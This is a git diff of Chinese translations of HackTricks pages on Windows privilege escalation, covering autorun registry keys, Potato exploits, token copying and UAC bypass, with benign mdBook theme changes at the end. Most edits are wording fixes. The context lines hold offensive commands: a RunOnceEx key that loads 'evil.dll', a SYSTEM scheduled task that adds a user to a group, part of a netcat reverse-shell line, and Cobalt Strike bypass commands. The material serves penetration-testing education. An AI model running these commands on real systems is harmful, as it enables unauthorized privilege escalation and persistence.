+- 查看定义 Windows 令牌的此表: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
+- 查看关于使用令牌进行 privesc 的 [**这篇论文**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
index 022fdf0ed..2c25e485b 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
@@ -1,7 +1,9 @@
-# 使用 Autoruns 提权
+# 使用 Autoruns 提升权限
{{#include ../../banners/hacktricks-training.md}}
+
+
## WMIC
**Wmic** 可用于在 **启动** 时运行程序。查看哪些二进制文件被编程为在启动时运行:
@@ -24,7 +26,7 @@ schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgro
```
## 文件夹
-所有位于 **启动文件夹** 的二进制文件将在启动时执行。常见的启动文件夹如下所列,但启动文件夹在注册表中指示。[阅读此以了解更多信息。](privilege-escalation-with-autorun-binaries.md#startup-path)
+所有位于 **启动文件夹中的二进制文件将在启动时执行**。常见的启动文件夹如下所列,但启动文件夹在注册表中指示。[阅读此内容以了解更多信息。](privilege-escalation-with-autorun-binaries.md#startup-path)
```bash
dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
@@ -72,15 +74,15 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
- `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
-在 Windows Vista 及更高版本中,**Run** 和 **RunOnce** 注册表键不会自动生成。这些键中的条目可以直接启动程序或将其指定为依赖项。例如,要在登录时加载 DLL 文件,可以使用 **RunOnceEx** 注册表键以及一个 "Depend" 键。这通过添加一个注册表项来演示在系统启动期间执行 "C:\temp\evil.dll":
+在 Windows Vista 及更高版本中,**Run** 和 **RunOnce** 注册表键不会自动生成。这些键中的条目可以直接启动程序或将其指定为依赖项。例如,要在登录时加载 DLL 文件,可以使用 **RunOnceEx** 注册表键以及一个 "Depend" 键。这通过添加一个注册表项来执行 "C:\temp\evil.dll" 在系统启动期间来演示:
```
reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"
```
> [!NOTE]
-> **利用 1**:如果您可以在 **HKLM** 中的任何提到的注册表项内写入,则当其他用户登录时,您可以提升权限。
+> **Exploit 1**: 如果您可以在 **HKLM** 中的任何提到的注册表项内写入,则当其他用户登录时,您可以提升权限。
> [!NOTE]
-> **利用 2**:如果您可以覆盖 **HKLM** 中任何注册表项上指示的任何二进制文件,则当其他用户登录时,您可以用后门修改该二进制文件并提升权限。
+> **Exploit 2**: 如果您可以覆盖 **HKLM** 中任何注册表项上指示的任何二进制文件,则当其他用户登录时,您可以用后门修改该二进制文件并提升权限。
```bash
#CMD
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
@@ -162,7 +164,7 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
-通常,**Userinit** 键设置为 **userinit.exe**。然而,如果此键被修改,指定的可执行文件将在用户登录时由 **Winlogon** 启动。同样,**Shell** 键旨在指向 **explorer.exe**,这是 Windows 的默认外壳。
+通常,**Userinit** 键被设置为 **userinit.exe**。然而,如果此键被修改,指定的可执行文件将在用户登录时由 **Winlogon** 启动。同样,**Shell** 键旨在指向 **explorer.exe**,这是 Windows 的默认外壳。
```bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
@@ -188,28 +190,28 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
### 更改安全模式命令提示符
-在 Windows 注册表的 `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot` 下,默认设置有一个 **`AlternateShell`** 值为 `cmd.exe`。这意味着当你在启动时选择“带命令提示符的安全模式”(通过按 F8),将使用 `cmd.exe`。但是,可以设置计算机在不需要按 F8 和手动选择的情况下自动以此模式启动。
+在 Windows 注册表的 `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot` 下,默认设置有一个 **`AlternateShell`** 值为 `cmd.exe`。这意味着当你在启动时选择“带命令提示符的安全模式”(通过按 F8),将使用 `cmd.exe`。但是,可以设置计算机自动以此模式启动,而无需按 F8 并手动选择。
-创建自动在“带命令提示符的安全模式”中启动的启动选项的步骤:
+创建自动以“带命令提示符的安全模式”启动的引导选项的步骤:
-1. 更改 `boot.ini` 文件的属性以移除只读、系统和隐藏标志: `attrib c:\boot.ini -r -s -h`
+1. 更改 `boot.ini` 文件的属性以移除只读、系统和隐藏标志:`attrib c:\boot.ini -r -s -h`
2. 打开 `boot.ini` 进行编辑。
-3. 插入一行,如: `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)`
+3. 插入一行,如:`multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)`
4. 保存对 `boot.ini` 的更改。
-5. 重新应用原始文件属性: `attrib c:\boot.ini +r +s +h`
+5. 重新应用原始文件属性:`attrib c:\boot.ini +r +s +h`
-- **Exploit 1:** 更改 **AlternateShell** 注册表项允许自定义命令 shell 设置,可能用于未经授权的访问。
-- **Exploit 2 (PATH 写权限):** 对系统 **PATH** 变量的任何部分具有写权限,特别是在 `C:\Windows\system32` 之前,可以执行自定义 `cmd.exe`,如果系统在安全模式下启动,这可能是一个后门。
-- **Exploit 3 (PATH 和 boot.ini 写权限):** 对 `boot.ini` 的写访问权限使得自动安全模式启动成为可能,从而在下次重启时促进未经授权的访问。
+- **Exploit 1:** 更改 **AlternateShell** 注册表键允许自定义命令 shell 设置,可能用于未经授权的访问。
+- **Exploit 2 (PATH 写权限):** 对系统 **PATH** 变量的任何部分具有写权限,特别是在 `C:\Windows\system32` 之前,可以执行自定义的 `cmd.exe`,如果系统在安全模式下启动,这可能是一个后门。
+- **Exploit 3 (PATH 和 boot.ini 写权限):** 对 `boot.ini` 的写入访问使得自动安全模式启动成为可能,从而在下次重启时促进未经授权的访问。
要检查当前的 **AlternateShell** 设置,请使用以下命令:
```bash
reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell'
```
-### 已安装组件
+### 安装的组件
-Active Setup 是 Windows 中的一个功能,它**在桌面环境完全加载之前启动**。它优先执行某些命令,这些命令必须在用户登录之前完成。此过程甚至在其他启动项(例如 Run 或 RunOnce 注册表部分中的项)被触发之前发生。
+Active Setup 是 Windows 中的一个功能,它**在桌面环境完全加载之前启动**。它优先执行某些命令,这些命令必须在用户登录继续之前完成。这个过程甚至在其他启动项(例如 Run 或 RunOnce 注册表部分中的项)被触发之前就发生。
Active Setup 通过以下注册表键进行管理:
@@ -222,12 +224,12 @@ Active Setup 通过以下注册表键进行管理:
- **IsInstalled:**
- `0` 表示该组件的命令将不会执行。
-- `1` 表示该命令将为每个用户执行一次,如果缺少 `IsInstalled` 值,则这是默认行为。
+- `1` 表示命令将为每个用户执行一次,如果缺少 `IsInstalled` 值,则这是默认行为。
- **StubPath:** 定义 Active Setup 要执行的命令。它可以是任何有效的命令行,例如启动 `notepad`。
**安全洞察:**
-- 修改或写入 **`IsInstalled`** 设置为 `"1"` 的键,并指定 **`StubPath`** 可能导致未经授权的命令执行,从而可能导致权限提升。
+- 修改或写入 **`IsInstalled`** 设置为 `"1"` 的键,并指定 **`StubPath`**,可能导致未经授权的命令执行,从而可能实现权限提升。
- 更改任何 **`StubPath`** 值中引用的二进制文件也可能实现权限提升,前提是具有足够的权限。
要检查 Active Setup 组件中的 **`StubPath`** 配置,可以使用以下命令:
@@ -291,7 +293,7 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi
```
## SysInternals
-请注意,您可以找到 autoruns 的所有站点 **已经被**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) 搜索过。然而,对于 **更全面的自动执行** 文件列表,您可以使用来自 Sysinternals 的 [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns):
+请注意,您可以找到 autoruns 的所有网站 **已经被**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) **搜索过**。然而,对于 **更全面的自动执行** 文件列表,您可以使用来自 Sysinternals 的 [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns):
```
autorunsc.exe -m -nobanner -a * -ct /accepteula
```
diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
index 9c77b989b..22b5b7c9a 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-> [!WARNING] > **JuicyPotato 在 Windows Server 2019 和 Windows 10 build 1809 及之后的版本上无法工作**。然而, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** 可以用来 **利用相同的权限并获得 `NT AUTHORITY\SYSTEM`\*\* 级别的访问权限**。这篇 [博客文章](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) 深入探讨了 `PrintSpoofer` 工具,该工具可用于在 JuicyPotato 无法工作的 Windows 10 和 Server 2019 主机上滥用模拟权限。
+> [!WARNING] > **JuicyPotato在** Windows Server 2019 和 Windows 10 build 1809 及之后的版本上**不工作**。然而, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)**可以用来**利用相同的权限并获得 `NT AUTHORITY\SYSTEM`\*\* 级别的访问权限。此 [博客文章](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) 深入探讨了 `PrintSpoofer` 工具,该工具可用于在 JuicyPotato 不再有效的 Windows 10 和 Server 2019 主机上滥用模拟权限。
## 快速演示
diff --git a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
index 223b53314..e7adae4ed 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
@@ -1,7 +1,7 @@
{{#include ../../banners/hacktricks-training.md}}
以下代码**利用SeDebug和SeImpersonate权限**从一个**以SYSTEM身份运行的进程**中复制令牌,并且该进程具有**所有令牌权限**。\
-在这种情况下,这段代码可以编译并用作**Windows服务二进制文件**以检查其是否正常工作。\
+在这种情况下,这段代码可以编译并用作**Windows服务二进制文件**来检查其是否正常工作。\
然而,**提升发生的主要代码部分**在**`Exploit`** **函数**内部。\
在该函数内部,您可以看到**正在搜索进程**_**lsass.exe**_**,然后**复制其**令牌**,最后使用该令牌生成一个新的_**cmd.exe**_,并拥有复制令牌的所有权限。
diff --git a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
index 246f53e6e..e72694b02 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
@@ -154,7 +154,7 @@ return 0;
[-] CreateProcessWithTokenW Error: 1326
```
这意味着即使您在高完整性级别运行,**您也没有足够的权限**。\
-让我们使用 **processes explorer**(或者您也可以使用 process hacker)检查当前对 `svchost.exe` 进程的管理员权限:
+让我们检查当前管理员对 `svchost.exe` 进程的权限,使用 **processes explorer**(或者您也可以使用 process hacker):
1. 选择一个 `svchost.exe` 进程
2. 右键点击 --> 属性
diff --git a/src/windows-hardening/windows-security-controls/uac-user-account-control.md b/src/windows-hardening/windows-security-controls/uac-user-account-control.md
index 987619ae7..38c61da9b 100644
--- a/src/windows-hardening/windows-security-controls/uac-user-account-control.md
+++ b/src/windows-hardening/windows-security-controls/uac-user-account-control.md
@@ -12,11 +12,11 @@
../windows-local-privilege-escalation/integrity-levels.md
{{#endref}}
-当 UAC 生效时,管理员用户会获得 2 个令牌:一个标准用户密钥,用于以常规级别执行常规操作,以及一个具有管理员权限的密钥。
+当 UAC 生效时,管理员用户会获得 2 个令牌:一个标准用户密钥,用于以常规级别执行常规操作,另一个则具有管理员权限。
-此 [页面](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 深入讨论了 UAC 的工作原理,包括登录过程、用户体验和 UAC 架构。管理员可以使用安全策略在本地级别(使用 secpol.msc)配置 UAC 的工作方式,或通过组策略对象 (GPO) 在 Active Directory 域环境中配置并推送。各种设置在 [这里](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) 详细讨论。可以为 UAC 设置 10 个组策略设置。以下表格提供了更多详细信息:
+此[页面](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)详细讨论了 UAC 的工作原理,包括登录过程、用户体验和 UAC 架构。管理员可以使用安全策略在本地级别(使用 secpol.msc)配置 UAC 的工作方式,或通过组策略对象 (GPO) 在 Active Directory 域环境中配置并推送。各种设置在[这里](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)详细讨论。可以为 UAC 设置 10 个组策略设置。以下表格提供了更多详细信息:
-| 组策略设置 | 注册表键 | 默认设置 |
+| 组策略设置 | 注册表项 | 默认设置 |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
| [用户帐户控制:内置管理员帐户的管理员批准模式](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 禁用 |
| [用户帐户控制:允许 UIAccess 应用程序在不使用安全桌面的情况下提示提升](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 禁用 |
@@ -48,7 +48,7 @@ EnableLUA REG_DWORD 0x1
```
如果是 **`1`**,则 UAC **已激活**;如果是 **`0`** 或 **不存在**,则 UAC **未激活**。
-然后,检查 **配置的级别**:
+然后,检查 **配置了哪个级别**:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
@@ -56,7 +56,7 @@ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- 如果 **`0`**,则 UAC 不会提示(如 **禁用**)
-- 如果 **`1`**,管理员会被 **要求输入用户名和密码** 以高权限执行二进制文件(在安全桌面上)
+- 如果 **`1`**,则管理员会被 **要求输入用户名和密码** 以高权限执行二进制文件(在安全桌面上)
- 如果 **`2`**(**始终通知我**),UAC 将始终在管理员尝试以高权限执行某些操作时要求确认(在安全桌面上)
- 如果 **`3`**,类似于 `1`,但不一定在安全桌面上
- 如果 **`4`**,类似于 `2`,但不一定在安全桌面上
@@ -66,16 +66,16 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5
如果值为 **`0`**,则只有 **RID 500** 用户(**内置管理员**)能够在没有 UAC 的情况下执行 **管理员任务**,如果为 `1`,则 **“Administrators”** 组中的所有帐户都可以执行这些任务。
最后,查看 **`FilterAdministratorToken`** 键的值\
-如果 **`0`**(默认),则 **内置管理员帐户可以** 执行远程管理任务;如果 **`1`**,则内置管理员帐户 **无法** 执行远程管理任务,除非 `LocalAccountTokenFilterPolicy` 设置为 `1`。
+如果 **`0`**(默认),则 **内置管理员帐户可以** 执行远程管理任务,如果 **`1`**,则内置管理员帐户 **不能** 执行远程管理任务,除非 `LocalAccountTokenFilterPolicy` 设置为 `1`。
-#### 总结
+#### 摘要
- 如果 `EnableLUA=0` 或 **不存在**,**对任何人都没有 UAC**
- 如果 `EnableLua=1` 且 **`LocalAccountTokenFilterPolicy=1`,对任何人都没有 UAC**
- 如果 `EnableLua=1` 且 **`LocalAccountTokenFilterPolicy=0` 且 `FilterAdministratorToken=0`,对 RID 500(内置管理员)没有 UAC**
- 如果 `EnableLua=1` 且 **`LocalAccountTokenFilterPolicy=0` 且 `FilterAdministratorToken=1`,对所有人都有 UAC**
-所有这些信息可以使用 **metasploit** 模块收集:`post/windows/gather/win_privs`
+所有这些信息可以通过 **metasploit** 模块收集:`post/windows/gather/win_privs`
您还可以检查用户的组并获取完整性级别:
```
@@ -87,7 +87,7 @@ whoami /groups | findstr Level
> [!NOTE]
> 请注意,如果您可以图形访问受害者,UAC 绕过是直接的,因为您可以在 UAS 提示出现时简单地点击“是”
-在以下情况下需要 UAC 绕过:**UAC 已激活,您的进程在中等完整性上下文中运行,并且您的用户属于管理员组**。
+UAC 绕过在以下情况下是必要的:**UAC 已激活,您的进程在中等完整性上下文中运行,并且您的用户属于管理员组**。
重要的是要提到,如果 UAC 处于最高安全级别(始终),则**绕过 UAC 要比在其他任何级别(默认)下要困难得多**。
@@ -106,7 +106,7 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
### **非常** 基本的 UAC "绕过"(完全文件系统访问)
-如果你有一个属于管理员组的用户的 shell,你可以 **通过 SMB 挂载 C$** 共享到一个新的磁盘上,这样你将 **访问文件系统中的所有内容**(甚至是管理员的主文件夹)。
+如果你有一个属于管理员组的用户的 shell,你可以通过 SMB(文件系统)在新的磁盘上**挂载 C$** 共享,这样你将**访问到文件系统中的所有内容**(甚至是管理员的主文件夹)。
> [!WARNING]
> **看起来这个技巧不再有效**
@@ -117,9 +117,9 @@ cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
```
-### UAC 绕过与 Cobalt Strike
+### UAC绕过与Cobalt Strike
-Cobalt Strike 技术仅在 UAC 未设置为最高安全级别时有效。
+Cobalt Strike技术仅在UAC未设置为最高安全级别时有效。
```bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
@@ -150,41 +150,41 @@ Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
```
-也可以使用[这个](https://en.wikipedia.org/wiki/Windows_10_version_history)页面从构建版本中获取Windows版本`1607`。
+也可以使用 [this](https://en.wikipedia.org/wiki/Windows_10_version_history) 页面从构建版本中获取 Windows 版本 `1607`。
-#### 更多UAC绕过
+#### 更多 UAC 绕过
-**所有**用于绕过AUC的技术**需要**与受害者建立**完全交互的shell**(普通的nc.exe shell不够)。
+**所有**在这里使用的绕过 AUC 的技术 **都需要**与受害者的 **完整交互式 shell**(普通的 nc.exe shell 不够)。
-您可以使用**meterpreter**会话获取。迁移到**Session**值等于**1**的**进程**:
+您可以使用 **meterpreter** 会话获取。迁移到 **Session** 值等于 **1** 的 **进程**:
.png>)
-(_explorer.exe_ 应该可以工作)
+(_explorer.exe_ 应该可以工作)
-### 带GUI的UAC绕过
+### 带 GUI 的 UAC 绕过
-如果您可以访问**GUI,您只需在出现UAC提示时接受它**,您实际上不需要绕过它。因此,获取对GUI的访问将允许您绕过UAC。
+如果您可以访问 **GUI,您只需在出现 UAC 提示时接受它**,您实际上不需要绕过它。因此,获取对 GUI 的访问将允许您绕过 UAC。
-此外,如果您获得了某人正在使用的GUI会话(可能通过RDP),则有**一些工具将以管理员身份运行**,您可以**直接以管理员身份运行**例如**cmd**,而无需再次被UAC提示,如[**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)。这可能会更加**隐蔽**。
+此外,如果您获得了某人正在使用的 GUI 会话(可能通过 RDP),则有 **一些工具将以管理员身份运行**,您可以 **直接以管理员身份运行** 例如 **cmd**,而无需再次被 UAC 提示,如 [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)。这可能会更 **隐蔽**。
-### 嘈杂的暴力破解UAC绕过
+### 嘈杂的暴力破解 UAC 绕过
-如果您不在乎嘈杂,您可以始终**运行类似**[**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin)的工具,该工具**请求提升权限,直到用户接受它**。
+如果您不在乎嘈杂,您可以始终 **运行类似** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 的工具,该工具 **请求提升权限,直到用户接受它**。
-### 您自己的绕过 - 基本UAC绕过方法
+### 您自己的绕过 - 基本 UAC 绕过方法
-如果您查看**UACME**,您会注意到**大多数UAC绕过利用了Dll劫持漏洞**(主要是在_C:\Windows\System32_中写入恶意dll)。[阅读此内容以了解如何找到Dll劫持漏洞](../windows-local-privilege-escalation/dll-hijacking.md)。
+如果您查看 **UACME**,您会注意到 **大多数 UAC 绕过利用 Dll Hijacking 漏洞**(主要是在 _C:\Windows\System32_ 中写入恶意 dll)。 [阅读此内容以了解如何找到 Dll Hijacking 漏洞](../windows-local-privilege-escalation/dll-hijacking.md)。
-1. 找到一个将**自动提升**的二进制文件(检查它执行时是否以高完整性级别运行)。
-2. 使用procmon查找可能受到**DLL劫持**影响的“**NAME NOT FOUND**”事件。
-3. 您可能需要在某些**受保护路径**(如C:\Windows\System32)中**写入**DLL,而您没有写入权限。您可以使用以下方法绕过此限制:
- 1. **wusa.exe**:Windows 7、8和8.1。它允许在受保护路径中提取CAB文件的内容(因为此工具是以高完整性级别执行的)。
+1. 找到一个会 **自动提升** 的二进制文件(检查它执行时是否以高完整性级别运行)。
+2. 使用 procmon 查找可能受到 **DLL Hijacking** 影响的 "**NAME NOT FOUND**" 事件。
+3. 您可能需要在某些 **受保护路径**(如 C:\Windows\System32)中 **写入** DLL,而您没有写入权限。您可以使用以下方法绕过此限制:
+ 1. **wusa.exe**:Windows 7、8 和 8.1。它允许在受保护路径中提取 CAB 文件的内容(因为此工具是以高完整性级别执行的)。
2. **IFileOperation**:Windows 10。
-4. 准备一个**脚本**,将您的DLL复制到受保护路径中并执行易受攻击的自动提升二进制文件。
+4. 准备一个 **脚本** 将您的 DLL 复制到受保护路径并执行易受攻击的自动提升二进制文件。
-### 另一种UAC绕过技术
+### 另一种 UAC 绕过技术
-该技术是观察一个**自动提升的二进制文件**是否尝试从**注册表**中**读取**要**执行**的**二进制文件**或**命令**的**名称/路径**(如果该二进制文件在**HKCU**中搜索此信息,则更有趣)。
+该技术是观察一个 **自动提升的二进制文件** 是否尝试 **从注册表** 中 **读取** 要 **执行** 的 **二进制文件** 或 **命令** 的 **名称/路径**(如果二进制文件在 **HKCU** 中搜索此信息,则更有趣)。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/theme/book.js b/theme/book.js
index 1c8d77287..ccba50404 100644
--- a/theme/book.js
+++ b/theme/book.js
@@ -590,6 +590,61 @@ function playground_text(playground, hidden = true) {
});
})();
+
+(function menubarLanguage() {
+ var menubarLanguageToggleButton = document.getElementById('menubar-languages-toggle');
+ var menubarLanguagePopup = document.getElementById('menubar-languages-popup');
+ var languageButtons = menubarLanguagePopup.querySelectorAll('.menu-bar-link');
+
+ function showLanguage() {
+ menubarLanguagePopup.style.display = 'flex';
+ menubarLanguageToggleButton.setAttribute('aria-expanded', true);
+ }
+
+ function hideLanguage() {
+ menubarLanguagePopup.style.display = 'none';
+ menubarLanguageToggleButton.setAttribute('aria-expanded', false);
+ menubarLanguageToggleButton.focus();
+ }
+
+ menubarLanguageToggleButton.addEventListener('click', function () {
+ if (menubarLanguagePopup.style.display === 'flex') {
+ hideLanguage();
+ } else {
+ showLanguage();
+ }
+ });
+
+ menubarLanguagePopup.addEventListener('focusout', function(e) {
+ // e.relatedTarget is null in Safari and Firefox on macOS (see workaround below)
+ if (!!e.relatedTarget && !menubarLanguageToggleButton.contains(e.relatedTarget) && !menubarLanguagePopup.contains(e.relatedTarget)) {
+ hideLanguage();
+ }
+ });
+
+ // Should not be needed, but it works around an issue on macOS & iOS: https://github.com/rust-lang/mdBook/issues/628
+ document.addEventListener('click', function(e) {
+ if (menubarLanguagePopup.style.display === 'block' && !menubarLanguageToggleButton.contains(e.target) && !menubarLanguagePopup.contains(e.target)) {
+ hideLanguage();
+ }
+ });
+
+ languageButtons.forEach((btn) => {
+ btn.addEventListener('click', function(e) {
+ const regex = /(?:(?:\/)+(?[a-z]{2}(?=\/|$)))?(?(?:\/)*.*)?/g
+ var match = regex.exec(window.location.pathname)
+
+ var path = match.groups.path
+ console.log(`Path: ${path} ${typeof path}`)
+
+ const lang = match.groups.lang
+ console.log(`Lang: ${lang}`)
+
+ window.location = `/${e.target.id}${path}${window.location.hash}`
+ });
+ })
+})();
+
(function chapterNavigation() {
document.addEventListener('keydown', function (e) {
if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey) { return; }
diff --git a/theme/css/chrome.css b/theme/css/chrome.css
index 8cbda7c69..ead7ee881 100644
--- a/theme/css/chrome.css
+++ b/theme/css/chrome.css
@@ -83,6 +83,13 @@ body.sidebar-visible #menu-bar {
}
}
+.right-buttons .icons {
+ display: flex;
+ flex-direction: row;
+ flex-wrap: wrap;
+ column-gap: 0.5rem;
+}
+
.icon-button {
border: none;
background: var(--bg);
@@ -139,10 +146,13 @@ body.sidebar-visible #menu-bar {
/* Collapse Menu Popup */
+#menubar-collapse-toggle {
+ position: relative;
+}
#menubar-collapse-popup {
position: absolute;
- right: 30px;
- top: var(--menu-bar-height);
+ right: 0px;
+ top: 35px;
z-index: 105;
border-radius: 5px;
font-size: 14px;
@@ -172,6 +182,44 @@ body.sidebar-visible #menu-bar {
background-color: var(--theme-hover);
}
+/* Languages Menu Popup */
+#menubar-languages-toggle {
+ position: relative;
+}
+
+#menubar-languages-popup {
+ position: absolute;
+ right: 0px;
+ top: 35px;
+ z-index: 105;
+ border-radius: 5px;
+ font-size: 14px;
+ color: var(--fg);
+ background: var(--bg);
+ border: 1px solid var(--table-border-color);
+ margin: 0;
+ padding: 0px;
+ display: none;
+ flex-direction: column;
+ max-height: 300px;
+ width: 150px;
+ overflow: scroll;
+}
+#menubar-languages-popup .menu-bar-link {
+ border: 0;
+ margin: 0;
+ padding: 8px 20px;
+ line-height: 25px;
+ white-space: nowrap;
+ text-align: start;
+ cursor: pointer;
+ color: inherit;
+ background: inherit;
+ font-size: inherit;
+}
+#menubar-languages-popup .menu-bar-link:hover {
+ background-color: var(--theme-hover);
+}
.left-buttons {
display: flex;
diff --git a/theme/index.hbs b/theme/index.hbs
index ecd2565f4..95c964391 100644
--- a/theme/index.hbs
+++ b/theme/index.hbs
@@ -144,34 +144,60 @@